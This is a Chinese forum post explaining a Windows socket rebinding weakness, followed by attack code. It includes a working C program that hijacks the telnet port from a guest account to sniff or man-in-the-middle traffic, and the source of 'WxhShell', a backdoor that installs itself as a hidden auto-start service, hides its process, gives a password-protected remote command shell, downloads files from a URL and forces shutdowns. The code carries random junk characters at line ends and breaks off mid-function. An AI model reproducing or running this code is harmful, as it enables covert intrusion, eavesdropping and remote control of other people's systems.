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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?P ,z^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); IUAx*R  
D3$PvX[f  
  saddr.sin_family = AF_INET; 3bu VU& ap  
e3"GC_*#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); EA|*|o4)  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cjHo?m'  
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  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q6f+tdg=  
3h aYb`  
  这意味着什么?意味着可以进行如下的攻击: W~aVwO'(  
^]( sCE7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Zk__CgS#  
/T]2ZX>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H ifKa/}P8  
qxf!]jm  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 EeG7 %S 5(  
5'd$TC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0=#:x()e  
cKdn3 2Y4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 rE;*MqYt&  
yhJH3<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t*m04* }  
2Hw&}8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 iagl^(s  
g&!UaJ[#9  
  #include s]50Y-C  
  #include &YGd!Q  
  #include .LhIB?  
  #include    Ci4`,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   x^Q:U1  
  int main() JGOry \  
  { Wf/r@/ q  
  WORD wVersionRequested; SE.r 'J0  
  DWORD ret; KiAWr-~gJ  
  WSADATA wsaData; kfr' P u  
  BOOL val; Oq@+/UWX  
  SOCKADDR_IN saddr; H?*EQK`7?0  
  SOCKADDR_IN scaddr; 'i;1n  
  int err; =5/ow!u8  
  SOCKET s; 8=CdO|XV  
  SOCKET sc; "3.v(GVr  
  int caddsize; kd)Q$RA(  
  HANDLE mt; >lQ@" U  
  DWORD tid;   Ok2KTsVl  
  wVersionRequested = MAKEWORD( 2, 2 ); 5. 5<.")  
  err = WSAStartup( wVersionRequested, &wsaData ); k\BJs@-  
  if ( err != 0 ) { g= ~Y\$&  
  printf("error!WSAStartup failed!\n"); k#uSH eq7f  
  return -1; AD K)p?  
  } ^\ A[^' 9  
  saddr.sin_family = AF_INET; 4&X D  
   cWjb149@)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p.6C.2q~s]  
-} Zck1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @W6:JO  
  saddr.sin_port = htons(23); WfpQ   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uNCM,J!#~  
  { /4/'&tY  
  printf("error!socket failed!\n"); .Ds d Q4Y  
  return -1; 1/+d@s#t  
  }  9uR+  
  val = TRUE; hb#Nm6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 LvtHWt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) U{i xok  
  { IR;l{q&`  
  printf("error!setsockopt failed!\n"); vZ,DJ//U,  
  return -1; R d'P\  
  } Gu+9R>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2?P H||  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %jk7JDvl  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~hD!{([  
n2} (Pt.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >*s_)IH2  
  { EP,j+^RVf  
  ret=GetLastError(); X3e&c  
  printf("error!bind failed!\n"); EyR~VKbJ'  
  return -1; W[c[ulY&  
  } "| Oj!&0  
  listen(s,2); @<kY,ox@~  
  while(1) +7\$wc_1I@  
  { g)$/'RB  
  caddsize = sizeof(scaddr); \]C_ul'  
  //接受连接请求 "uCO?hv0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -V g(aD  
  if(sc!=INVALID_SOCKET) B@cC'F#G  
  { R!i\-C1 S  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V=^B7a.;>  
  if(mt==NULL) ebno:)  
  { `-t8ag 3  
  printf("Thread Creat Failed!\n"); QN47+)cVt"  
  break; qm^|7m^  
  } %,T=|5  
  } Kzwbr?&z  
  CloseHandle(mt); eH HY.^|  
  } OfG/7pw5%B  
  closesocket(s); #($~e|  
  WSACleanup(); @)#EZQix  
  return 0; #[ f]-c(!  
  }   [|".j#ZlK  
  DWORD WINAPI ClientThread(LPVOID lpParam) l266ufO.u-  
  { zh{,.c  
  SOCKET ss = (SOCKET)lpParam; E7'  
  SOCKET sc; D:] QBA)C  
  unsigned char buf[4096]; a\m_Q{:  
  SOCKADDR_IN saddr; |d$4Fu(M~  
  long num; "QD>m7  
  DWORD val; JBhM*-t(M1  
  DWORD ret; (E;+E\E  
  //如果是隐藏端口应用的话,可以在此处加一些判断 hrNB"W|?x  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {V,aCr  
  saddr.sin_family = AF_INET; JDJ"D\85  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |v:oLgUdH  
  saddr.sin_port = htons(23); }!Y=SP1e  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dI%?uk  
  { eFh7#~m  
  printf("error!socket failed!\n"); 7}:+Yx  
  return -1; l+#J oc<8  
  } WNY:HH  
  val = 100; nb<e<>L  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zO`4W!x&  
  { \q($8<  
  ret = GetLastError(); 2HUw^ *3  
  return -1; %pIP#y[4  
  } -MRX@a^1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t"zi'9$t  
  { +Xp1=2Mq  
  ret = GetLastError(); Ngj&1Ta&[  
  return -1; $xT9e  
  } SJ91(K  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q{&\nCy  
  { Esu {c9,  
  printf("error!socket connect failed!\n"); 8>@JW]  
  closesocket(sc); (dZ]j){  
  closesocket(ss); &|j0GP&  
  return -1; y XKddD  
  } s7afj t  
  while(1) 4Q/{lqG  
  { tKS[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4(*PM&'R  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 J%-4ZB"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 XUzOt_L5<  
  num = recv(ss,buf,4096,0); DF_wMv:>^  
  if(num>0) ]J[d8S5  
  send(sc,buf,num,0); obE8iG@H  
  else if(num==0) Cdy,8*   
  break; }toe'6  
  num = recv(sc,buf,4096,0); d#TA20`  
  if(num>0) 7Q]c=i cg  
  send(ss,buf,num,0); k_{?{:X;y  
  else if(num==0) ]=VRct "  
  break; ;p2b^q'  
  } I 1n,c d[  
  closesocket(ss); 'da 'WZG  
  closesocket(sc); {1Y @%e  
  return 0 ; #D/*<:q5  
  } Xp_m=QQsm  
a _+?#m  
i^e8.zgywF  
========================================================== WPkKbF  
70GBf"  
下边附上一个代码,,WXhSHELL 0Dna+V/jI  
~5`oNa  
========================================================== CvmIDRP*  
oz>2P.7  
#include "stdafx.h" W^H3=hZ  
(De{r|  
#include <stdio.h> =qc+sMo  
#include <string.h> I-Z|FKh_C  
#include <windows.h> * eC[74Kng  
#include <winsock2.h> 4MS#`E7LrC  
#include <winsvc.h> }rI:pp^KS  
#include <urlmon.h> QOo'Iv+EL  
&n )MGg1%  
#pragma comment (lib, "Ws2_32.lib") E0R6qS:'  
#pragma comment (lib, "urlmon.lib") i?Pnyi  
IC&P-X_aP  
#define MAX_USER   100 // 最大客户端连接数 ^L5-2;s<U'  
#define BUF_SOCK   200 // sock buffer w^ut,`yW R  
#define KEY_BUFF   255 // 输入 buffer + x=)Kp>  
?T2>juf]5~  
#define REBOOT     0   // 重启 hK{H7Ey*  
#define SHUTDOWN   1   // 关机 l@Vv%w9H  
O`c50yY  
#define DEF_PORT   5000 // 监听端口 A$3Rbn}"  
_%- +"3Ll  
#define REG_LEN     16   // 注册表键长度 a3<:F2=~\  
#define SVC_LEN     80   // NT服务名长度 P2a5<#_|  
<- !1`@l>  
// 从dll定义API dv>n38&mDQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (_zlCHB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A vq+s.h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >< $LV&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WA8<:#{e  
@wgd 3BU  
// wxhshell配置信息 ]~I+d/k d  
struct WSCFG { ~_vSMX  
  int ws_port;         // 监听端口 Ztg_='n  
  char ws_passstr[REG_LEN]; // 口令 :R,M Y"(  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ha`N  
  char ws_regname[REG_LEN]; // 注册表键名 nf/?7~3?[  
  char ws_svcname[REG_LEN]; // 服务名 b/'c h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Mg.%&vH\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N! 7}B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iyl i/3|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RkYn6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :.,9}\LK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]alc%(=  
t`"m@  
}; ]a4U\yr  
M_};J;  
// default Wxhshell configuration cdt9hH`Cd  
struct WSCFG wscfg={DEF_PORT, l,7& z  
    "xuhuanlingzhe", p0bWzIH  
    1, kun/KY  
    "Wxhshell", &rBe -52  
    "Wxhshell", &.,K@OFE}  
            "WxhShell Service", zHb [.ry~  
    "Wrsky Windows CmdShell Service", t1adS:)s  
    "Please Input Your Password: ", e4tIO   
  1, MqnUym  
  "http://www.wrsky.com/wxhshell.exe", 0I)$!1~O)  
  "Wxhshell.exe" /RxP:>hVv  
    }; '\I(n|\  
2+gbMd4n  
// 消息定义模块 p H  y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C7FQc {  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y4Jc|)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I_ mus<sE  
char *msg_ws_ext="\n\rExit."; IC0L&;En  
char *msg_ws_end="\n\rQuit."; dT|f<E/P  
char *msg_ws_boot="\n\rReboot..."; tp] 5[U  
char *msg_ws_poff="\n\rShutdown..."; V:kRr cX  
char *msg_ws_down="\n\rSave to "; Dcvul4Q  
tk%f_"}  
char *msg_ws_err="\n\rErr!"; `FMo; ,j  
char *msg_ws_ok="\n\rOK!"; ?8-!hU@QC  
'q-q4 QCB  
char ExeFile[MAX_PATH]; z l@^[km{  
int nUser = 0;  2h   
HANDLE handles[MAX_USER]; Mj MDD  
int OsIsNt; KGy 3#r;Q  
G%erh}0~  
SERVICE_STATUS       serviceStatus; ep"[; $Eb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ( 2HM "Pd  
4k;FZo]S  
// 函数声明 f8]sjeY  
int Install(void); #{8I FA  
int Uninstall(void); i)o;,~ee  
int DownloadFile(char *sURL, SOCKET wsh); K3?5bT_{  
int Boot(int flag); fHup&|.  
void HideProc(void); 4!/JN J  
int GetOsVer(void); UphTMyn3  
int Wxhshell(SOCKET wsl); y|5s  
void TalkWithClient(void *cs); 7AV{ h[J  
int CmdShell(SOCKET sock); 2tq2   
int StartFromService(void); uQ5h5Cfz  
int StartWxhshell(LPSTR lpCmdLine); -F~DOG%  
d. wGO]"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Tc6cBe,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2I-d.{  
o&?c,FwN  
// 数据结构和表定义 <b:%o^  
SERVICE_TABLE_ENTRY DispatchTable[] = Hb=#`  
{ jSY[Y:6md  
{wscfg.ws_svcname, NTServiceMain}, VsQ|t/|#  
{NULL, NULL} ] 3{t}qY$A  
}; 5*YoK)2J  
|p6d]#z3  
// 自我安装 rwF$aR>9  
int Install(void) TEC^|U`G  
{ c{=Sy;i@  
  char svExeFile[MAX_PATH]; $o[-xNn1  
  HKEY key; J/je/PC  
  strcpy(svExeFile,ExeFile); &h334N|4{  
h Qn?qJy%W  
// 如果是win9x系统,修改注册表设为自启动 <~ smBd  
if(!OsIsNt) { p;+O/'/j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N[I@}j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XN df  
  RegCloseKey(key); 7rjl-FUA~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :; +!ID_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \;{ ]YX  
  RegCloseKey(key); t? GH V3V  
  return 0;  Z1 D  
    } u"v7shRp:  
  } G^c,i5}w  
} v Y[s#*+  
else { jrib"Bh3,  
U#3N90,N=  
// 如果是NT以上系统,安装为系统服务 9-42A7g^C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F9r.DG$}  
if (schSCManager!=0) &6x(%o|  
{ '}Fe&%  
  SC_HANDLE schService = CreateService yfG;OnkZ  
  ( 46:<[0Psl/  
  schSCManager, u H[WlZ4  
  wscfg.ws_svcname, aCG rS{  
  wscfg.ws_svcdisp, +4?Lwp'q  
  SERVICE_ALL_ACCESS, {iD/0q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <]rayUyaf  
  SERVICE_AUTO_START, l/N<'T_G  
  SERVICE_ERROR_NORMAL, ZJ/528Ju  
  svExeFile, J>Ar(p  
  NULL, LDt6<D8,Q  
  NULL, $plk>Khg  
  NULL, f;e#7_  
  NULL, \dk1a  
  NULL %ih\|jR t  
  ); i KSRr#/  
  if (schService!=0) ea 3w  
  { :U?g']`Z##  
  CloseServiceHandle(schService); ReaZg ?:h  
  CloseServiceHandle(schSCManager); z=D5*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6FB 0g8  
  strcat(svExeFile,wscfg.ws_svcname); KdEvu?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o*KAS@&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z$1RD)TQB  
  RegCloseKey(key); fbq$:Q44  
  return 0; ziM{2Fs>  
    } 6<&A}pp  
  } J6Ilg@}\  
  CloseServiceHandle(schSCManager); 'LYDJ~  
} 2/?Zp=|j\  
} C[^VM$  
lJK]S=cd  
return 1; #HcQ*BiF3  
} ,P~e)<.  
v$}^$8`  
// 自我卸载 aq?bI:>8  
int Uninstall(void) scV%p&{a  
{ ?@"@9na  
  HKEY key; =Vg~ VD   
yq~  
if(!OsIsNt) { ?{J1&;j*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +Br<;sW  
  RegDeleteValue(key,wscfg.ws_regname); n_QuuUB  
  RegCloseKey(key); TK5$-6k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xg p)G!  
  RegDeleteValue(key,wscfg.ws_regname); ~^F]t$rz  
  RegCloseKey(key); |O8e;v72g^  
  return 0; 0LQRQuh1  
  } #}~tTL  
} 9wL2NC31Q  
} 7ZUN;mr  
else { 0F$|`v"0  
| R,dsBd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PF4[;E S'  
if (schSCManager!=0) UynGG@P@  
{ A;U c&G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +R~]5Rxd  
  if (schService!=0) BVal U  
  { yCjc5d|tT  
  if(DeleteService(schService)!=0) { =-dnniKW4  
  CloseServiceHandle(schService); :V9Q<B^  
  CloseServiceHandle(schSCManager); UC&$8^  
  return 0; dX?j /M-  
  } m-{DhJV  
  CloseServiceHandle(schService); w hI4@#  
  } #hBqgG:>  
  CloseServiceHandle(schSCManager); ,.Gp_BI  
} h#zm+([B*  
} KE\>T:  
u8"s#%>N y  
return 1; ca=MUm=B  
} kV8R.Baf3  
1^k}GXsWmE  
// 从指定url下载文件 GVT 6cR  
int DownloadFile(char *sURL, SOCKET wsh) !KV!Tkx h  
{ %[n5mF*`  
  HRESULT hr; !d##q)D f?  
char seps[]= "/"; &Hw:65O  
char *token; 5T/+pC$e=  
char *file; >uCO=T,|  
char myURL[MAX_PATH]; 5]{rim  
char myFILE[MAX_PATH]; ]FR#ZvM>x  
.Z 7t E?  
strcpy(myURL,sURL); DvWBvs,  
  token=strtok(myURL,seps); 9Zx| L/\  
  while(token!=NULL) ;$eY#ypx  
  { d Np%=gIj  
    file=token; mcwd2)  
  token=strtok(NULL,seps); #cR5k@  
  } drCL7.j#L  
c'$y_]  
GetCurrentDirectory(MAX_PATH,myFILE); hj=n;,a9  
strcat(myFILE, "\\"); _WV13pnRu  
strcat(myFILE, file); V^(W)\  
  send(wsh,myFILE,strlen(myFILE),0); C4E*q3[Y  
send(wsh,"...",3,0); Lh+7z>1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FkMM>X  
  if(hr==S_OK) i{g~u<DH)Q  
return 0; BDN}`F[F  
else *o=Z~U9z  
return 1; axG%@5  
B <Jxj  
} ,*$Y[UT  
.:-*89c  
// 系统电源模块 '<"%>-^Gn  
int Boot(int flag) jcePSps]  
{ $hM9{  
  HANDLE hToken; 9aID&b +  
  TOKEN_PRIVILEGES tkp; GWx?RIKF  
7x*L 1>[`'  
  if(OsIsNt) { Lxa<zy~b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Mt4`~`6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &Ai +t2  
    tkp.PrivilegeCount = 1; q:_-#u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H2_6m5[&,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +5ql`C  
if(flag==REBOOT) { %)}_OXWf:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ylmVmHmc  
  return 0; LNgFk%EH  
} ZB}zT9JaE  
else { Lz- (1~o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o hPXwp?]  
  return 0; ,=6;dT  
} -OQ6;A"#  
  } `?N|{kb  
  else { _h B7;N3  
if(flag==REBOOT) { X)Rh&ui  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !O,`Z`T?  
  return 0; 9@(V!G  
} )=h+5Z>E1  
else { g*U[?I"sC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (S j?BZjC  
  return 0; -A8CW9|mk  
} :as2fO$?  
} k1^&;}/f:  
F-?s8RD  
return 1; -1F+,+m  
} 9(9\kQj{C  
7baQ4QY?n  
// win9x进程隐藏模块 y#{> tC  
void HideProc(void) LZpqv~av  
{ |A u+^#:;  
j|WN!!7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2K(zYv54  
  if ( hKernel != NULL ) p\|*ff0  
  { LwCf}4u"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {Pi]i?   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Gy[m4n~Z5  
    FreeLibrary(hKernel); ;x=0+0JD  
  } fH 5/  
s4\_%je<v  
return; gM#]o QOGE  
} X pf:I  
X04JQLhy"  
// 获取操作系统版本 lGN{1djT  
int GetOsVer(void) [)p>pA2GZj  
{ I_h&35^t  
  OSVERSIONINFO winfo; 2HREO@._)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ON3~!Q)  
  GetVersionEx(&winfo); >^KO5N-:4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r7:4| 6E  
  return 1; xcl8q:  
  else pj'[ H  
  return 0; v+`gQXJ"G  
} .37Jrh0Iv  
zC\L-i>G  
// 客户端句柄模块 !.5,RIf  
int Wxhshell(SOCKET wsl) 4T:@W C  
{ e/!xyd  
  SOCKET wsh; 1A\N$9Dls  
  struct sockaddr_in client; ER$qL"H U  
  DWORD myID; +dSO?Y]  
Xkb\fR6<K  
  while(nUser<MAX_USER) w97%5[-T  
{ 2~*.X^dR  
  int nSize=sizeof(client); S_56!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _0e;&2')  
  if(wsh==INVALID_SOCKET) return 1; lK3Z}e*eXQ  
v|u[BmA)*k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L,wEUI  
if(handles[nUser]==0) jG&gd<^  
  closesocket(wsh); 2_Otv2  
else <-m[0zg q  
  nUser++; .qk_m-o  
  } N(^ q%eHp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ).1 F0T  
P>i[X0UnL  
  return 0; YeCS`IXm  
} s:\FlQ0  
6w:M_tDM  
// 关闭 socket 5QUL-*t  
void CloseIt(SOCKET wsh) nhPua&  
{ ,O/ t6'  
closesocket(wsh); etWCMR  
nUser--; g O ;oM?|  
ExitThread(0); KI{B<S3*Z  
} uMe]].04  
1US4:6xX_  
// 客户端请求句柄 e2l!L*[g  
void TalkWithClient(void *cs) E;AOCbV*$  
{ 'l*p!=  
1MnT*w   
  SOCKET wsh=(SOCKET)cs; U0X? ~ 1  
  char pwd[SVC_LEN]; pw5uH  
  char cmd[KEY_BUFF]; ev;R; 0<  
char chr[1]; E1-BB  
int i,j; TmIw?#q^  
;X XB^,  
  while (nUser < MAX_USER) { 1iTI8h&[@  
SV0h'd(b  
if(wscfg.ws_passstr) { K/Qo~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xe7/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  )tW0iFY  
  //ZeroMemory(pwd,KEY_BUFF); VuWBWb?0Q  
      i=0; (B:+md\Q  
  while(i<SVC_LEN) { E\Et,l#|LY  
C=>IJ'G  
  // 设置超时 *kE<7  
  fd_set FdRead; yhSbX4Q  
  struct timeval TimeOut; 7)#8p @Q  
  FD_ZERO(&FdRead); 2=/,9ka~  
  FD_SET(wsh,&FdRead); KrDG  
  TimeOut.tv_sec=8; +XP9=U*g  
  TimeOut.tv_usec=0; u?B9zt%$-m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +<1MY'>y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mW&hUP Rx  
6z keWR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -L&%,%  
  pwd=chr[0]; U8gf_R'  
  if(chr[0]==0xd || chr[0]==0xa) { |s$w i>7l  
  pwd=0; p.|NZXk%%a  
  break; zo>@"uH4  
  } Cl>{vS N  
  i++; $WS?/H0C  
    } <*F!A' w2o  
]oIP;J:&  
  // 如果是非法用户,关闭 socket =)mA.j}E2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Qf#=Y j  
} (@&+?A"6`  
h1AZ+9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3F ]30  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xdtyer%  
>Xv Fg  
while(1) { ;5PBZ<w  
xh`4s  
  ZeroMemory(cmd,KEY_BUFF); Mj5&vs~n;  
FX,kmre3  
      // 自动支持客户端 telnet标准   UsQh+W"?  
  j=0; /=IBK`  
  while(j<KEY_BUFF) { 3 =-XA2zJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6O0CF}B*  
  cmd[j]=chr[0]; V3v/h V:  
  if(chr[0]==0xa || chr[0]==0xd) { G'IRqO *]  
  cmd[j]=0; GMW,+  
  break; Mv\]uAT`  
  } fZka$ 4  
  j++; Bb9/nsbE  
    } 'D&[Y)f^  
GX0S9s  
  // 下载文件 @T@lHc  
  if(strstr(cmd,"http://")) { - xKa-3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %D6HY^]ayw  
  if(DownloadFile(cmd,wsh)) WinwPn+9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n&\DJzW\#  
  else caD)'FSES  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !&#5 *  
  } *wp>a?sG\  
  else { N4rDe]JnPR  
D7|qFx;]g  
    switch(cmd[0]) { Zt/4|&w  
  kxWcWl8  
  // 帮助 + C'<*  
  case '?': { '1vm]+oM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4#Cm5xAt6  
    break; RcpKv;=iB  
  } ":W$$w<  
  // 安装 :J;&Z{  
  case 'i': { p,K!'\  
    if(Install()) :F`"CR^,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KybrSa  
    else iTc q=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /7LAd_P6  
    break; RG e2N |  
    } ')zf8>,  
  // 卸载 ioJ|-@! #o  
  case 'r': { 6Ij'z9nJw  
    if(Uninstall()) Ng|c13A=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yt[*4gF4  
    else )SzgMbF6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^u-;VoK  
    break; A Qm!7,  
    } D]'/5]~z<  
  // 显示 wxhshell 所在路径 z$Z{ LR  
  case 'p': { nA#N,^Rr  
    char svExeFile[MAX_PATH]; p5`={'>-  
    strcpy(svExeFile,"\n\r"); =58:e7(df  
      strcat(svExeFile,ExeFile); U0@Qc}y  
        send(wsh,svExeFile,strlen(svExeFile),0); (-%1z_@Y  
    break; /pQUu(~h_  
    } ,d@FO|G#pt  
  // 重启 ycj\5+ g  
  case 'b': { Rj!9pwvT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 75W@B}dZd  
    if(Boot(REBOOT)) WwF2Ry^a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "'*Qq@!3?  
    else { W0k7(v)  
    closesocket(wsh); m8<.TCIQ  
    ExitThread(0); %`\=qSf*  
    } Wa<SYJ  
    break; 2bAH)=  
    } W *~[KdgC  
  // 关机 o2R&s@%0@B  
  case 'd': { q!y!=hI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |Ng}ZLBM  
    if(Boot(SHUTDOWN)) RC~C}  
